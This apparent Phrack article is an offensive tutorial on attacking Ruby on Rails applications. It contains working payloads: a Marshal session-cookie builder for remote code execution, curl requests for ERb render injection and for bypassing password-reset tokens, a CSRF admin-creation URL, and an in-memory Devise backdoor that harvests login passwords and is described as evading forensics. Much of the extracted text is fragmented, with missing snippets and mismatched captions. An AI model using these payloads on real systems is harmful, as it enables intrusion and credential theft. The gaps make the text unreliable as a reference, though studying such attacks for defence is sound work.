12
12
12
==
|=-----------------------------------------------------------------------=|
|=--------------=[ Attacking Ruby on Rails Applications ]=---------------=|
|=-----------------------------------------------------------------------=|
|=---------------------=[ joernchen of Phenoelit ]=----------------------=|
|=---------------------=[ joernchen@phenoelit.de ]=----------------------=|
|=-----------------------------------------------------------------------=|
0 - Intro
1 - A Brief Overview
1.1 - User input
1.1.1 - POST/PUT/GET application/x-www-form-urlencoded
1.1.2 - Multiparameter attributes
1.1.3 - POST/PUT text/xml
1.1.4 - POST/PUT application/json
1.1.5 - GET vs. POST/PUT
2 - Common pitfalls
2.1 - Sessions
2.2 - to_json / to_xml
2.3 - Code / Command Execution
2.3.1 - Classical OS Command Injection
2.3.2 - eval(user_input) and Friends
2.3.3 - Indirections
2.4 - Mass assignments
2.5 - Regular Expressions
2.6 - Renderers
2.7 - Routing
3 - My favourite technique - CVE-2013-3221
4 - Notes on Code Injection Payloads
5 - Greetz and <3
A - References
--[ 0 - Intro
MVC is a software design pattern, which just says roughly the following:
The model is where the data lives, along with the business logic. So the
model is an abstraction to the database. The view is what you see, like
the HTML templates which get rendered. The controller itself is, what you
interact with. It takes requests and decides upon them what to do with the
data which were submitted.
.
|-- app |here lives the applications main code
| |-- assets
| | |-- images
| | |-- javascripts
| | `-- stylesheets
| |-- controllers |here live the controllers
| |-- helpers
| |-- mailers
| |-- models |this is where the models live
| `-- views |and finally here are the views
| `-- layouts
|-- config |yummy config files
| |-- environments
| |-- initializers
| `-- locales
|-- db
|-- doc
|-- lib |more code
| |-- assets
| `-- tasks
|-- log
|-- public |static content
|-- script
|-- test | /* */
| |-- fixtures
| |-- functional
| |-- integration
| |-- performance
| `-- unit
|-- tmp
| `-- cache
| `-- assets
`-- vendor
|-- assets
| |-- javascripts
| `-- stylesheets
`-- plugins |here might be bugs too
The point of first attention here is the ./app/ directory, this is where
controllers, models and views live.
It has to be noted that the MVC design pattern, even tough it's implied by
the filesystem layout of a fresh Rails application, is not enforced by Ruby
on Rails in any way. For instance a developer might just put parts of the
business logic into the view instead of into the model.
The params hash (hash is Ruby slang for an associative array) holds the
request parameters in Rails. So parameters that are POSTed like this:
username=hacker&password=happy
params = {"username"=>"hacker","password"=>"happy"}
user[]=Phrack&user[]=rulez
user[name]=hacker&user[password]=happy
params = {"user"=>{"name"=>"hacker","password"=>"happy"}}
user[name]
by leaving out the = and a value the resulting hash looks like:
params = {"user"=>{"name"=>nil}}
When a single parameter has to carry multiple values in one attribute those
can be encoded in simple POST and GET requests as well. Those so called
multiparameters look like the following:
user[mulitparam(1)]=first_val&user[mulitparam(2)]=second_val&[...]
&user[mulitparam(n)]=nth_val
user[name(1)]=HappyHacker
Internally the values (1)..(n) will be converted into an array and this
array will be assigned to the attribute. This is rarely to be seen in real
world code, however useful for instance when it comes to e.g. timestamps:
post[date(1)]=1985&post[date(2)]=11&post[date(3)]=17
Where the above example would assign year, month and day of the post[date]
parameter in a multiparameter attribute called date.
Besides the usual POST/PUT parameters Rails typically also understands XML
input. This however was removed within the Rails 4 release [1].
PARSING = {
"symbol" => Proc.new { |symbol| symbol.to_sym },
"date" => Proc.new { |date| ::Date.parse(date) },
"datetime" => Proc.new { |time| ::Time.parse(time).utc rescue
::DateTime.parse(time).utc },
"integer" => Proc.new { |integer| integer.to_i },
"float" => Proc.new { |float| float.to_f },
"decimal" => Proc.new { |number| BigDecimal(number) },
"boolean" => Proc.new { |boolean|
%w(1 true).include?(boolean.strip) },
"string" => Proc.new { |string| string.to_s },
"yaml" => Proc.new { |yaml| YAML::load(yaml) rescue yaml },
"base64Binary" => Proc.new { |bin|
ActiveSupport::Base64.decode64(bin) },
"binary" => Proc.new { |bin, entity|
_parse_binary(bin, entity) },
"file" => Proc.new { |file, entity| _parse_file(file, entity) }
}
PARSING.update(
"double" => PARSING["float"],
"dateTime" => PARSING["datetime"]
)
<user>
<admin type="boolean">true</admin>
</user>
The params hash from the above POSTed XML would be:
params = {"user"=>{"admin"=>true}}
At this point it has to be noted that the conversions for the types
"symbol" and "yaml" have been blacklisted since CVE-2013-0156. This CVE is
actually the most impactful on RoR. Due to YAML being able to create
arbitrary Ruby objects it was possible to gain code execution with just a
single POST request, pretty similar to the sessions issue described in 2.1.
Symbols have been removed from the conversion simply due to the fact, that
they won't get garbage collected a runtime, therefore being useful for e.g.
memory exhaustion attacks.
There are two more supported types which are not listed above, they rather
are defined in
rails/activesupport/lib/active_support/core_ext/hash/conversions.rb. Those
two types are "hash" and "array". A hash is pretty simple to put up in XML.
It needs to be POSTed like this:
<user>
<name>hacker</name>
</user>
params = {"user"=>{"name"=>"hacker"}}
Arrays with typed XML are assembled together like the following:
<a type="array">
<a>some value</a>
<a>some other value</a>
</a>
<a nil="true">
{"a"=>nil}
* String
* Object (which will be a hash in Ruby)
* Number
* Array
* True
* False
* Null (which will be nil in Ruby)
Before the Rails patches for the CVEs 2013-0333 and 2013-0268 it was
possible to encode arbitrary Objects in JSON, the details on CVE-2013-0333
will be discussed in section 3.3.
{"a":["string",1,true,false,null,{"hash":"value"}]}
a params hash of:
will be generated.
With the knowledge of various ways to encode our mali^W well crafted input
for a Rails application, let's have a look at patterns of "what could
possibly go wrong?". This section will elaborate some of the nasty side
effects introduced by rather common coding practices in Ruby on Rails. Of
course it will also be explained how to use those side effects in order to
extend the functionality of an affected application.
By default Rails stores the sessions client-side within a cookie. The whole
session hash gets serialized (also encrypted in Rails 4) and HMACed (in
Rails 3 and 4) in order to be tamper-resistant.
Since Rails 4.1 the format for serialization used is JSON encoding. Before
that version it used to be Ruby's own serialization format called Marshal.
Marshaled ruby objects look like this:
#!/usr/bin/env ruby
# Sign a cookie in RoR style (Rails Version <=3.x only)
require 'base64'
require 'openssl'
require 'optparse'
hashtype = 'SHA1'
key = nil
cookie = {"user_id"=>1}
begin
opts.parse!(ARGV)
rescue Exception => e
puts e, "", opts
exit
end
if key.nil?
puts banner
exit
end
cook = Base64.strict_encode64(Marshal.dump(eval("#{cookie}"))).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype),
key, cook)
puts("#{cook}--#{digest}")
The secret_token is not only usable for session tampering, it can even be
used for remote command execution. The following Ruby method will generate
a code-executing session cookie (this is Rails 3 specific payload, but
the same principle works with Rails 4 with slight modifications):
def build_cookie
code = "eval('whatever ruby code')"
marshal_payload = Rex::Text.encode_base64(
"\x04\x08" +
"o" +
":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +
"\x07" +
":\x0E@instance" +
"o" + ":\x08ERB" + "\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method" + ":\x0Bresult"
).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"),
SECRET_TOKEN, marshal_payload)
marshal_payload = Rex::Text.uri_encode(marshal_payload)
"#{marshal_payload}--#{digest}"
end
For details on the Rails 4 version and more convenient use of the vector
the exploits/multi/http/rails_secret_deserialization module in Metasploit
is recommend reading/using.
The above code serializes an object in Rubys' Marshal format and then HMACs
the serialized data. The object that is serialized is an instance of
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy which is
defined as the following:
Since Rails 4.1 this vector is not usable anymore, due to the fact that
JSON encoding is used to serialize the session. Actually thats not entirely
true, as there is of course backward compatibility for legacy session
cookies. Those legacy cookies are taken into account if in a Rails App >=
Version 4.1 a secret_token is defined together with the new
secret_key_base. Or if there is only a secret_token but no secret_key_base,
which might be the case if you upgrade your App from Rails 3.something to
4.1 or later. You can tell that you're dealing with a legacy cookie if the
cookie value starts with "BAh" which Base64 decodes to the Marshal header.
If the session's secret is not known, there is still some room to fail, so
for example let's say an appliance by BigVendor has a RoR Webinterface, and
additionally stores the currently logged in users' ID in the session. Now
the BigVendor has a little problem if the session secret is the same on all
appliances. If user admin A of appliance A' has a session cookie for it's
user_id 1 on A', it's a legit session cookie for appliance B' where admin B
has user_id 1 as well (the ID is typically incremental starting from 1 and
admin is usually created first). To paraphrase this: "What has been HMACed
cannot be un-HMACED".
--[ 2.2 - to_json / to_xml
Within Rails the scaffolding process generates automatic XML and JSON
renderers. Those include by default all attributes of the model. A neat
showcase for this behavior is documented in [3] where a simple
authenticated request of http://demo.fatfreecrm.com/users/1.json yielded
the following json output:
"user": {
"admin": true,
"aim": "",
"alt_email": "",
"company": "example",
"created_at": "2012-02-12T02:00:00+02:00",
"current_login_at": "2013-08-26T22:12:05+03:00",
"current_login_ip": "61.143.60.146",
"deleted_at": null,
"email": "aaron@example.com",
"first_name": "Aaron",
"google": "",
"id": 1,
"last_login_at": "2013-08-24T22:20:06+03:00",
"last_login_ip": "122.173.185.99",
"last_name": "Assembler",
"last_request_at": "2013-08-26T22:13:35+03:00",
"login_count": 481,
"mobile": "(800)555-1211",
"password_hash": "[...]",
"password_salt": "[...]",
"perishable_token": "NE0n6wUCumVNdQ24ahRu",
"persistence_token": "...",
"phone": "(800)555-1210",
"single_access_token": "TarXlrOPfaokNOzls2U8",
"skype": "ranzitreddy",
"suspended_at": null,
"title": "VP of Sales",
"updated_at": "2013-08-26T22:13:35+03:00",
"username": "aaron",
"yahoo": ""
}
The format parameter could, depending on the actual app's routes be either
just a appended .json/.xml or a query parameter "format=json"/"format=xml"
within the URL.
In some rarely but seen in the wild cases there are even "format=js"
renderes which yield vulnerabilities. Imagine a user's inbox at:
http://some.host/inbox/messages
When here the JavaScript renderer emits e.g. JQuery framgents like:
<script src="http://some.host/inbox/messages?format=js"></script>
on a third party website and leak the users' inbox. This is pretty much the
same concept like a JSONP leak.
Now off to the real fun: different ways to execute your code on other
people's web servers.
* `command`
* %x/command/
* IO.popen(command)
* Kernel.exec
* Kernel.system
* Kernel.open("| command")
This list is not complete in any way, as there are many other Rubygems
implementing wrappers around those functions (also maybe I've just missed
for instance open3 in this list). As the average Phrack reader should be
pretty familiar with the concept of OS command injection flaws we do not
bother to further elaborate on this type of issue ;P.
Things get a bit more interesting when it comes to RoR constructs which end
up in eval()ing user input. Here, due to Rubys' endless possibilities of
dynamic programming and monkey patching, things get a bit more interesting.
Hints on how to utilize in-framework code execution are given in section 4.
With the following methods we can evalute nifty payloads within the apps'
runtime/environment:
* eval
within the current context
* instance_eval
within the context of the current instance of a class
* class_eval
within the context of a class itself
Another fun thing when it comes to monkey patching and dynamic (hooray!)
programming are indirections introduced by calling one of the following
methods on user input:
* send
* __send__
* public_send
* try
send(params[:a],params[:b])
a=eval&b=whatever%20ruby%20code%20we%20like
The above construction of having at least two, and most importantly the
first argument to __send__ under control however is rather rare. Mostly
you will see the code like:
Thing.send(:hard_coded_method_name, params[someparam])
app/controller/users_controller.rb:
def update
@user = User.find(params[:id])
respond_to do |format|
if @user.update_attributes(params[:user])
If the User model has e.g. an "admin" attribute any user might promote
themselves to admin by just posting that attribute towards to the
application.
app/controller/users_controller.rb:
def update
@user = User.find(params[:id])
params[:user].delete(:admin) # make sure to protect admin flag
respond_to do |format|
if @user.update_attributes(params[:user])
[...]
user[admin(1)]=true
The string "foo\nbar" does not match the regular expression /^foo$/ in the
Perl code snippet, it is matching in the Ruby code snippet.
The main problem with this regular expression handling is that quite a lot
of developers are not aware of this subtle difference. This results in
improper checks and validations. As an example the controller below comes
close to what can be observed in real world code (the regex is somewhat
simplified here):
The developer's expectation is to match only numbers and dots within the
above IP address validation. But due to the default multi line mode of
Ruby's regular expression parser the above check can be circumvented by a
string like "1.2.3.4.\nsomething". The $ in the above regex would stop at
\n therefore the above code is command injectable with a simple request
like this:
When this input is rendered into a href attribute of an anchor tag, we've
gotten a straight froward Cross-Site Scripting.
render params[:t]
t[inline]=<%=`id`%>
curl 'localhost:3000/?&t\[inline\]=%3c%25=%60id%60%25%3e'
This works due to the fact that the render statement takes a hash as
argument which will be in the above case:
inline: "<%=`id`%>"
Where the inline renderer expects an ERb string. Et voila here we go with
user supplied code to be executed.
would expose the method add_user from the UsersController at the path
'/users/add' via a Post request. A common mistake however is a default
catch-all route like the following:
This would expose every public method from every Controller being
accessible both via GET and POST requests. The main problem with such a
catch-all route is, that it completely subverts the RoR CSRF protection,
as GET requests are assumed to be not state changing, and therefore are
white-listed within the CSRF protection. So in the above example with the
two given routes an attacker would just CSRF something like:
http://vict.im/user/add?user[name]=haxx0r&user[password]=h4x0rp455&
user[admin]=1
In order to subvert the CSRF protection which was intended by the 'post'
statement in the routes.
Let's first have a look at MySQL and how it compares numbers to strings:
In Ruby on Rails such a reset process would roughly look like this:
# PasswordController
def reset
user = User.find_by_token(params[:user][:token])
if user
#reset password here
end
end
Such a token like the one pulled out of params in the code above typically
is a random string, for now let's just assume this string is
"IAmARandomToken". Given the knowledge about the MySQL typecasting plus the
facts about JSON/XML input described in section 1.1.3 & 1.1.4 we can
conduct an actual attack on this pattern.
curl http://phrack.org/password/reset \
-H 'Content-Type: application/json' \
--data '{"user":{"token":0,"pass":"omghaxx","pass_confirm":"omghaxx"}}'
This attack vector got addressed with a security announcement [6] which
said it will be fixed somewhen later.
A couple of days after the advisory the issue was "fixed" in Rails 3.2.12
as by the following commit [7], no further advisory was released for this
issue. The fix in 3.2.12 was first of all incomplete due to the fact that
it was bypassable by POSTing an array of numbers instead of a single
number. Secondly Rails went back to the original behaviour with the
release of 3.2.13.
Indeed the vector is completely fixed as of Rails 4.2 almost two years
after the original advisory.
The wonderful world of Ruby on Rails gives us, in case of in-framework code
injection, a lot of toys to play with. As the whole framework is available
to the attacker its' whole featureset might be utilized. This starts with
very simple but convenient things:
lootit=<<WOOT
a={} # This will end up as our session object
a['loot'] = User.find_by_email("admin@app.com").password # Guess what :P
a # return a as session hash
WOOT
The above _string_ then is used in a cookie using the RCE technique from
2.1. If done all right the response to that cookie will contain another new
cookie which contains a 'loot' key which has the value of the requested
data.
Anything goes with Ruby: Imagine an app where the passwords are properly
salted and hashed and streched and whatnot. In order to not waste any GPU
time for breaking the precious hashes we could instead inject some code
which re-writes the apps login controller in a way that it will first log
out all users, and then log all the sent passwords in memory until they are
fetched by defined request. A PoC for this technique against the devise
authentication framework is shown in [8]. The main component of it is the
actual to-be-evaluated payload:
Devise::SessionsController.class_eval <<DEVISE
@@passwordsgohere = []
@@target_model = nil
@@triggerword = "22bce2630cb45cbff19490371d19a654b01ee537"
@@secret =
"12IO0nCNPFhWz7a56rmhkiIQ8BOgbUw7yIYl++jYNkxAseBT3Q02N+CwShuqDBqY"
def logallthepasswords
@@target_model= @@target_model || ActiveRecord::Base.subclasses.collect
{|c| c if c.methods.include? :devise }.first.model_name.param_key
if params[@@target_model]
@@passwordsgohere<< params[@@target_model]
end
end
def leakallthepasswords
keygen = ActiveSupport::KeyGenerator.new(@@secret,{:iterations => 1337})
enckey = keygen.generate_key('encrypted hacker')
sigkey = keygen.generate_key('signed encrypted hacker')
crypter = ActiveSupport::MessageEncryptor.new(enckey,
sigkey,{:serializer => ActiveSupport::MessageEncryptor::NullSerializer })
if Digest::SHA1.hexdigest(session["session_id"].to_s) == @@triggerword
render :text => crypter.encrypt_and_sign(JSON.dump(@@passwordsgohere))
@@passwordsgohere = []
end
end
before_filter :logallthepasswords
before_filter :leakallthepasswords
DEVISE
The above code, when RCEd into a Ruby on Rails application using devise
will introduce two filters in the apps login Controller, one filter called
logallthepasswords which keeps every password and username in memory upon
login. Secondly the leakallthepasswords filter will dump those passwords
upon seeing a specific session id and flush them from memory.
Key takeaway here (which does not only apply to RoR applications) is
actually the fact that we can model our own little application within some
target app pretty much freely when using eval() or session cookie based
RCE payloads. Another fun fact about this is the circumstance that the
payload will reside in memory. Once the app is shut down your payload is
gone. And by giving up the persistence we will pretty likely win against
the forensics guy.
In no particular order:
astera, greg (thx for kicking my ass), FX, nowin, fabs, opti,
tina, matteng, RL, HDM, charliesome, both Bens (M. and T.),
larry0 (Gemkiller).
The award for endless patience with this little writeup goes to the Phrack
Staff obviously ;).
--[ A - References
[0] http://rubyonrails.org
[1] https://github.com/rails/rails/commit/
c9909db9f2f81575ef2ea2ed3b4e8743c8d6f1b9
[3] http://www.phenoelit.org/stuff/ffcrm.txt
[4] https://github.com/rapid7/metasploit-framework/blob/master/modules/
exploits/multi/http/spree_searchlogic_exec.rb
[5] https://www.blackhat.com/latestintel/04302014-poc-in-the-cfp.html
[6] https://groups.google.com/group/rubyonrails-security/browse_thread/
thread/64e747e461f98c25
[7] https://github.com/rails/rails/commit/
921a296a3390192a71abeec6d9a035cc6d1865c8
[8] https://github.com/joernchen/DeviseDoor